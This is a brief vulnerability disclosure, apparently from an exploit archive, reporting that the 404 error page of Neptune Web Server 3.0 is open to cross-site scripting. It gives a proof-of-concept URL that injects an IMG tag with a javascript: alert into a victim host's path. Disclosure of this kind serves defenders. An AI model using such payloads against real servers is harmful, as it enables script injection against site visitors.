XSS in Neptune Web Server

//////XSS in Neptune Web Server
//404 error page is vulnerable to XSS
//http://www.silver-forge.com/
//
//////Tested on:
//Neptune Web Server 3.0 (Professional Edition)
//
////////Author:
//NetJackal
//http://netjackal.by.ru
//http://hackerz.ir
//
////////PoC:
//http://victim.net/[XSS]
//http://victim.net/<IMG SRC="javascript:alert('XSS');">
//
////////